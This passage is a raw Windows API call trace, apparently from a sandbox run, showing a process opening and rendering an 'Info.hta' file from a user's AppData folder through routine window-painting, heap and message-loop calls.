ppvObject=0x30e79c*=0x81c494) returned 0x0 [0083.689] IUnknown:Release (This=0x81c494) returned 0x4 [0083.689] IUnknown:AddRef (This=0x81c494) returned 0x5 [0083.689] PathCreateFromUrlW (in: pszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", pszPath=0x30e7f0, pcchPath=0x30e7d0, dwFlags=0x0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta", pcchPath=0x30e7d0) returned 0x0 [0083.689] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x72) returned 0x802480 [0083.689] IUnknown:Release (This=0x81c494) returned 0x4 [0083.689] GetWindowTextW (in: hWnd=0x201e6, lpString=0x30e368, nMaxCount=512 | out: lpString="") returned 0 [0083.689] NtdllDefWindowProc_W () returned 0x0 [0083.689] SetWindowTextW (hWnd=0x201e6, lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta") returned 1 [0083.689] NtdllDefWindowProc_W () returned 0x1 [0083.690] IUnknown:Release (This=0x81c494) returned 0x3 [0083.690] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x802480 | out: hHeap=0x7f0000) returned 1 [0083.690] LoadIconW (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0083.690] SendMessageW (hWnd=0x301fa, Msg=0x80, wParam=0x1, lParam=0x10027) returned 0x0 [0083.690] NtdllDefWindowProc_W () returned 0x0 [0083.691] NtdllDefWindowProc_W () returned 0x0 [0083.691] NtdllDefWindowProc_W () returned 0x0 [0083.691] SendMessageW (hWnd=0x201e6, Msg=0x80, wParam=0x0, lParam=0x10027) returned 0x0 [0083.691] NtdllDefWindowProc_W () returned 0x0 [0083.691] SetWindowLongW (hWnd=0x201e6, nIndex=-16, dwNewLong=-2100363264) returned -2033254400 [0083.692] NtdllDefWindowProc_W () returned 0x0 [0083.692] NtdllDefWindowProc_W () returned 0x0 [0083.708] NtdllDefWindowProc_W () returned 0x10027 [0083.708] SetWindowLongW (hWnd=0x201e6, nIndex=-20, dwNewLong=262144) returned 262400 [0083.708] NtdllDefWindowProc_W () returned 0x0 [0083.708] NtdllDefWindowProc_W () returned 0x0 [0083.709] SetWindowPos (hWnd=0x201e6, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0083.709] NtdllDefWindowProc_W () returned 0x0 [0083.709] NtdllDefWindowProc_W () returned 0x0 [0083.709] NtdllDefWindowProc_W () returned 0x0 [0083.709] GlobalAddAtomW (lpString=0x0) returned 0x0 [0083.709] SetPropW (hWnd=0x301fa, lpString=0x0, hData=0x301fa) returned 0 [0083.709] ShowWindow (hWnd=0x201e6, nCmdShow=1) returned 0 [0083.709] NtdllDefWindowProc_W () returned 0x0 [0083.710] NtdllDefWindowProc_W () returned 0x0 [0083.710] NtdllDefWindowProc_W () returned 0x0 [0083.712] NtdllDefWindowProc_W () returned 0x0 [0083.726] NtdllDefWindowProc_W () returned 0x1 [0083.821] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0083.821] GetCurrentThreadId () returned 0xcd8 [0083.821] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0083.821] WindowFromDC (hDC=0x4010b37) returned 0x60018 [0083.821] GetDeviceCaps (hdc=0x3010ae4, index=38) returned 32409 [0083.821] IntersectRect (in: lprcDst=0x30ef14, lprcSrc1=0x80203c, lprcSrc2=0x80202c | out: lprcDst=0x30ef14) returned 1 [0083.821] IntersectRect (in: lprcDst=0x30ef04, lprcSrc1=0x30ef04, lprcSrc2=0x30ee10 | out: lprcDst=0x30ef04) returned 0 [0083.821] IsRectEmpty (lprc=0x30ef04) returned 1 [0083.821] GetClipBox (in: hdc=0x4010b37, lprect=0x30ef04 | out: lprect=0x30ef04) returned 2 [0083.821] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x50) returned 0x82eac0 [0083.821] GetViewportOrgEx (in: hdc=0x4010b37, lppoint=0x30ee38 | out: lppoint=0x30ee38) returned 1 [0083.821] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x30ed3c | out: lprcDst=0x8379a0) returned 1 [0083.821] IntersectRect (in: lprcDst=0x30ed04, lprcSrc1=0x30ed04, lprcSrc2=0x30ecd4 | out: lprcDst=0x30ed04) returned 1 [0083.822] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x30ecf4 | out: lprcDst=0x8379a0) returned 1 [0083.822] GetObjectType (h=0x4010b37) returned 0x3 [0083.822] GetDeviceCaps (hdc=0x4010b37, index=2) returned 1 [0083.822] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0083.822] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x83d828) returned 0x9040a0b [0083.822] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.822] SelectClipRgn (hdc=0x4010b37, hrgn=0x9040a0b) returned 2 [0083.822] DeleteObject (ho=0x9040a0b) returned 1 [0083.822] CreateSolidBrush (color=0xffffff) returned 0x1d100211 [0083.822] SelectObject (hdc=0x4010b37, h=0x1d100211) returned 0x1900010 [0083.822] PatBlt (hdc=0x4010b37, x=0, y=0, w=1064, h=587, rop=0xf00021) returned 1 [0083.824] SelectObject (hdc=0x4010b37, h=0x1900010) returned 0x1d100211 [0083.825] SelectClipRgn (hdc=0x4010b37, hrgn=0x0) returned 2 [0083.825] SetViewportOrgEx (in: hdc=0x4010b37, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0083.825] GetCurrentThreadId () returned 0xcd8 [0083.825] GetCurrentThreadId () returned 0xcd8 [0083.825] NtdllDefWindowProc_W () returned 0x0 [0083.826] GetClientRect (in: hWnd=0x201e6, lpRect=0x30f050 | out: lpRect=0x30f050) returned 1 [0083.826] GetClientRect (in: hWnd=0x201e6, lpRect=0x30f050 | out: lpRect=0x30f050) returned 1 [0083.826] NtdllDefWindowProc_W () returned 0x0 [0083.826] UpdateWindow (hWnd=0x201e6) returned 1 [0083.826] NtdllDefWindowProc_W () returned 0x0 [0083.826] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0083.826] GetCurrentThreadId () returned 0xcd8 [0083.826] GetCurrentThreadId () returned 0xcd8 [0083.826] GetCurrentThreadId () returned 0xcd8 [0083.826] MapWindowPoints (in: hWndFrom=0x60018, hWndTo=0x0, lpPoints=0x30ea6c, cPoints=0x1 | out: lpPoints=0x30ea6c) returned 13435063 [0083.826] BeginPaint (in: hWnd=0x60018, lpPaint=0x30eea0 | out: lpPaint=0x30eea0) returned 0x4010b37 [0083.826] IsRectEmpty (lprc=0x30eea8) returned 0 [0083.826] CreateRectRgnIndirect (lprect=0x73507be0) returned 0xb040a0b [0083.826] GetRandomRgn (hdc=0x4010b37, hrgn=0xb040a0b, i=4) returned 1 [0083.826] OffsetRgn (hrgn=0xb040a0b, x=-183, y=-205) returned 2 [0083.826] MapWindowPoints (in: hWndFrom=0x60018, hWndTo=0x0, lpPoints=0x30ea5c, cPoints=0x1 | out: lpPoints=0x30ea5c) returned 13435063 [0083.827] GetDeviceCaps (hdc=0x3010ae4, index=38) returned 32409 [0083.827] IntersectRect (in: lprcDst=0x30eb1c, lprcSrc1=0x80203c, lprcSrc2=0x80202c | out: lprcDst=0x30eb1c) returned 1 [0083.827] IntersectRect (in: lprcDst=0x30eb0c, lprcSrc1=0x30eb0c, lprcSrc2=0x30e9f8 | out: lprcDst=0x30eb0c) returned 0 [0083.827] IsRectEmpty (lprc=0x30eb0c) returned 1 [0083.827] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82eac0 | out: hHeap=0x7f0000) returned 1 [0083.827] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x50) returned 0x82eac0 [0083.827] GetDeviceCaps (hdc=0x3010ae4, index=38) returned 32409 [0083.827] GetDeviceCaps (hdc=0x4010b37, index=14) returned 1 [0083.827] GetDeviceCaps (hdc=0x4010b37, index=12) returned 32 [0083.827] GetRegionData (in: hrgn=0xb040a0b, nCount=0x0, lpRgnData=0x0 | out: lpRgnData=0x0) returned 0x30 [0083.827] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0083.827] GetRegionData (in: hrgn=0xb040a0b, nCount=0x30, lpRgnData=0x83d828 | out: lpRgnData=0x83d828) returned 0x30 [0083.827] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x83e400 [0083.827] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83e400 | out: hHeap=0x7f0000) returned 1 [0083.827] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.827] IntersectRect (in: lprcDst=0x30c144, lprcSrc1=0x30c144, lprcSrc2=0x30c114 | out: lprcDst=0x30c144) returned 1 [0083.827] IntersectRect (in: lprcDst=0x30c074, lprcSrc1=0x30c074, lprcSrc2=0x30c044 | out: lprcDst=0x30c074) returned 1 [0083.827] IntersectRect (in: lprcDst=0x30bf68, lprcSrc1=0x30bf68, lprcSrc2=0x30bf58 | out: lprcDst=0x30bf68) returned 1 [0083.827] GetObjectType (h=0x4010b37) returned 0x3 [0083.827] GetDeviceCaps (hdc=0x4010b37, index=2) returned 1 [0083.828] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0083.828] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x83d828) returned 0x5040b27 [0083.828] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.828] SelectClipRgn (hdc=0x4010b37, hrgn=0x5040b27) returned 2 [0083.828] DeleteObject (ho=0x5040b27) returned 1 [0083.828] _CIsqrt () returned 0x3f1a027f [0083.828] _CIsqrt () returned 0x3f1a027f [0083.829] _CIatan2 () returned 0x20 [0083.829] _CIatan2 () returned 0x20 [0083.829] GetStockObject (i=8) returned 0x1b00016 [0083.829] SelectObject (hdc=0x4010b37, h=0x1b00016) returned 0x1b00017 [0083.829] GetViewportOrgEx (in: hdc=0x4010b37, lppoint=0x30bd4c | out: lppoint=0x30bd4c) returned 1 [0083.829] CreateSolidBrush (color=0xa0a0a0) returned 0x8100bf8 [0083.829] SelectObject (hdc=0x4010b37, h=0x8100bf8) returned 0x1900010 [0083.829] UnrealizeObject (h=0x8100bf8) returned 1 [0083.829] SetBrushOrgEx (in: hdc=0x4010b37, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0083.829] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0083.829] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0 [0083.829] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0 [0083.829] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0 [0083.829] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0083.829] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0083.829] Polygon (hdc=0x4010b37, apt=0x30bc70, cpt=6) returned 1 [0083.831] SelectObject (hdc=0x4010b37, h=0x1d100211) returned 0x8100bf8 [0083.831] UnrealizeObject (h=0x1d100211) returned 1 [0083.831] SetBrushOrgEx (in: hdc=0x4010b37, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0083.831] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0083.831] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0 [0083.831] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0 [0083.831] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0 [0083.831] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0083.831] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0083.831] Polygon (hdc=0x4010b37, apt=0x30bc70, cpt=8) returned 1 [0083.832] CreateSolidBrush (color=0x696969) returned 0x6310081a [0083.832] SelectObject (hdc=0x4010b37, h=0x6310081a) returned 0x1d100211 [0083.832] UnrealizeObject (h=0x6310081a) returned 1 [0083.832] SetBrushOrgEx (in: hdc=0x4010b37, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0083.832] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2 [0083.832] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0083.832] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0083.832] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0083.832] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2 [0083.832] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2 [0083.832] Polygon (hdc=0x4010b37, apt=0x30bc70, cpt=6) returned 1 [0083.832] CreateSolidBrush (color=0xe3e3e3) returned 0x22100a05 [0083.833] SelectObject (hdc=0x4010b37, h=0x22100a05) returned 0x6310081a [0083.833] UnrealizeObject (h=0x22100a05) returned 1 [0083.833] SetBrushOrgEx (in: hdc=0x4010b37, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0083.833] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2 [0083.833] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0083.833] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0083.833] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0083.833] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2 [0083.833] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2 [0083.833] Polygon (hdc=0x4010b37, apt=0x30bc70, cpt=8) returned 1 [0083.833] SelectObject (hdc=0x4010b37, h=0x1900010) returned 0x22100a05 [0083.833] IntersectRect (in: lprcDst=0x30bfd0, lprcSrc1=0x30bfd0, lprcSrc2=0x8379b0 | out: lprcDst=0x30bfd0) returned 1 [0083.833] GetDeviceCaps (hdc=0x4010b37, index=2) returned 1 [0083.833] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x1c) returned 0x84e480 [0083.833] LoadLibraryA (lpLibFileName="UxTheme.dll") returned 0x74000000 [0083.834] GetProcAddress (hModule=0x74000000, lpProcName="IsAppThemed") returned 0x74027009 [0083.834] IsAppThemed () returned 0x1 [0083.834] GetProcAddress (hModule=0x74000000, lpProcName=0x3d) returned 0x740206fe [0083.834] OpenThemeDataEx () returned 0x30002 [0083.835] GetProcAddress (hModule=0x74000000, lpProcName="DrawThemeBackground") returned 0x7401d464 [0083.835] DrawThemeBackground () returned 0x0 [0083.835] DrawThemeBackground () returned 0x0 [0083.835] DrawThemeBackground () returned 0x0 [0083.836] IntersectRect (in: lprcDst=0x30c0a8, lprcSrc1=0x30c0a8, lprcSrc2=0x837990 | out: lprcDst=0x30c0a8) returned 1 [0083.836] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0083.836] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x83d828) returned 0x6040b27 [0083.836] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.836] SelectClipRgn (hdc=0x4010b37, hrgn=0x6040b27) returned 2 [0083.836] IntersectRect (in: lprcDst=0x30be7c, lprcSrc1=0x30be7c, lprcSrc2=0x30be4c | out: lprcDst=0x30be7c) returned 1 [0083.836] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x30be6c | out: lprcDst=0x8379a0) returned 1 [0083.836] IntersectRect (in: lprcDst=0x30bcb8, lprcSrc1=0x30bcb8, lprcSrc2=0x837990 | out: lprcDst=0x30bcb8) returned 1 [0083.836] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x83f740 [0083.836] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83f740 | out: hHeap=0x7f0000) returned 1 [0083.836] IntersectRect (in: lprcDst=0x30becc, lprcSrc1=0x30becc, lprcSrc2=0x30be9c | out: lprcDst=0x30becc) returned 1 [0083.836] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.836] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x30bda0 | out: lprcDst=0x8379a0) returned 1 [0083.836] IntersectRect (in: lprcDst=0x30bda0, lprcSrc1=0x30bda0, lprcSrc2=0x8379b0 | out: lprcDst=0x30bda0) returned 1 [0083.836] GetDeviceCaps (hdc=0x4010b37, index=2) returned 1 [0083.836] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0083.836] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x83d828) returned 0x8040bf6 [0083.836] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.836] SelectClipRgn (hdc=0x4010b37, hrgn=0x8040bf6) returned 2 [0083.836] DeleteObject (ho=0x8040bf6) returned 1 [0083.836] SelectObject (hdc=0x4010b37, h=0x1d100211) returned 0x1900010 [0083.836] PatBlt (hdc=0x4010b37, x=2, y=2, w=1043, h=583, rop=0xf00021) returned 1 [0083.837] SelectObject (hdc=0x4010b37, h=0x1900010) returned 0x1d100211 [0083.837] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x30bebc | out: lprcDst=0x8379a0) returned 1 [0083.837] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x30bedc | out: lprcDst=0x8379a0) returned 1 [0083.837] IntersectRect (in: lprcDst=0x30bb94, lprcSrc1=0x30bb94, lprcSrc2=0x30bb64 | out: lprcDst=0x30bb94) returned 1 [0083.837] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.837] IntersectRect (in: lprcDst=0x30ba78, lprcSrc1=0x30ba78, lprcSrc2=0x8379b0 | out: lprcDst=0x30ba78) returned 0 [0083.837] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x30ba68 | out: lprcDst=0x8379a0) returned 1 [0083.837] IntersectRect (in: lprcDst=0x30ba68, lprcSrc1=0x30ba68, lprcSrc2=0x8379b0 | out: lprcDst=0x30ba68) returned 1 [0083.837] GetDeviceCaps (hdc=0x4010b37, index=2) returned 1 [0083.837] IntersectRect (in: lprcDst=0x30b864, lprcSrc1=0x30eb0c, lprcSrc2=0x30b864 | out: lprcDst=0x30b864) returned 1 [0083.837] CreateSolidBrush (color=0x2ffffff) returned 0x1510093f [0083.837] SelectObject (hdc=0x4010b37, h=0x1510093f) returned 0x1900010 [0083.837] GetStockObject (i=8) returned 0x1b00016 [0083.837] SelectObject (hdc=0x4010b37, h=0x1b00016) returned 0x1b00016 [0083.837] GetROP2 (hdc=0x4010b37) returned 13 [0083.837] SetBkMode (hdc=0x4010b37, mode=2) returned 2 [0083.837] Rectangle (hdc=0x4010b37, left=2, top=2, right=1046, bottom=586) returned 1 [0083.837] SetBkMode (hdc=0x4010b37, mode=2) returned 2 [0083.838] SelectObject (hdc=0x4010b37, h=0x1b00016) returned 0x1b00016 [0083.838] SelectObject (hdc=0x4010b37, h=0x1900010) returned 0x1510093f [0083.838] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x30bb84 | out: lprcDst=0x8379a0) returned 1 [0083.838] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x30bba4 | out: lprcDst=0x8379a0) returned 1 [0083.838] IntersectRect (in: lprcDst=0x30b6a4, lprcSrc1=0x30b6a4, lprcSrc2=0x30b558 | out: lprcDst=0x30b6a4) returned 1 [0083.838] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.838] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x30b6a4 | out: lprcDst=0x8379a0) returned 1 [0083.838] IntersectRect (in: lprcDst=0x30b608, lprcSrc1=0x30b608, lprcSrc2=0x8379b0 | out: lprcDst=0x30b608) returned 1 [0083.838] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x30b5bc | out: lprcDst=0x8379a0) returned 1 [0083.838] GetDeviceCaps (hdc=0x4010b37, index=2) returned 1 [0083.841] GetCurrentObject (hdc=0x4010b37, type=0x6) returned 0x18a002e [0083.841] SetBkMode (hdc=0x4010b37, mode=1) returned 2 [0083.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.841] SetTextAlign (hdc=0x4010b37, align=0x0) returned 0x0 [0083.841] SelectObject (hdc=0x4010b37, h=0x18a002e) returned 0x18a002e [0083.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.841] DeleteObject (ho=0x6040b27) returned 1 [0083.841] GetStockObject (i=15) returned 0x188000b [0083.841] SelectPalette (hdc=0x4010b37, hPal=0x188000b, bForceBkgd=1) returned 0x188000b [0083.841] EndPaint (hWnd=0x60018, lpPaint=0x30eea0) returned 1 [0083.842] MapWindowPoints (in: hWndFrom=0x60018, hWndTo=0x0, lpPoints=0x30ea5c, cPoints=0x1 | out: lpPoints=0x30ea5c) returned 13435063 [0083.842] DeleteObject (ho=0xb040a0b) returned 1 [0083.842] GetCurrentThreadId () returned 0xcd8 [0083.842] GetCurrentThreadId () returned 0xcd8 [0083.842] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.842] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.842] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.842] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.842] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.842] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.842] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.842] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.842] GetCurrentThreadId () returned 0xcd8 [0083.842] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f0a0 | out: lpPoint=0x30f0a0) returned 1 [0083.842] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0083.842] GetCurrentThreadId () returned 0xcd8 [0083.843] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.843] GetCurrentThreadId () returned 0xcd8 [0083.843] GetFocus () returned 0x60018 [0083.843] RtlReAllocateHeap (Heap=0x7f0000, Flags=0x0, Ptr=0x836cf8, Size=0xe4) returned 0x836ea8 [0083.843] StrCmpICW (pszStr1="about:blank", pszStr2="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta") returned -5 [0083.843] StrCmpICW (pszStr1="about:blank", pszStr2="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta") returned -5 [0083.843] GetCurrentThreadId () returned 0xcd8 [0083.843] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f8 | out: lpPoint=0x30f5f8) returned 1 [0083.843] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0083.843] GetCurrentThreadId () returned 0xcd8 [0083.843] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.844] GetCurrentThreadId () returned 0xcd8 [0083.844] GetCurrentThreadId () returned 0xcd8 [0083.844] GetFocus () returned 0x60018 [0083.844] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xc) returned 0x84eab8 [0083.844] NotifyWinEvent (event=0x8005, hwnd=0x60018, idObject=1, idChild=0) [0083.844] GetCurrentThreadId () returned 0xcd8 [0083.844] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5b8 | out: lpPoint=0x30f5b8) returned 1 [0083.844] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0083.844] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.844] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f598 | out: lpPoint=0x30f598) returned 1 [0083.844] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0083.845] GetCurrentThreadId () returned 0xcd8 [0083.845] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.845] GetCurrentThreadId () returned 0xcd8 [0083.845] IsWinEventHookInstalled (event=0x8005) returned 0 [0083.845] GetCurrentThreadId () returned 0xcd8 [0083.845] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0083.845] NtdllDefWindowProc_W () returned 0x10027 [0083.846] NtdllDefWindowProc_W () returned 0x30245 [0083.847] NtdllDefWindowProc_W () returned 0x0 [0083.847] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0083.847] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0083.847] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0083.847] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0083.847] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0083.847] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0083.847] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f678 | out: lpPoint=0x30f678) returned 1 [0083.847] GetMessageTime () returned 212083 [0083.847] GetMessagePos () returned 0x218027c [0083.847] GetCapture () returned 0x0 [0083.847] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0083.847] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0083.847] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0083.847] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.847] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d58 [0083.847] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0083.847] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0083.847] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0083.848] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0083.848] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0083.848] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.848] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0083.848] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: 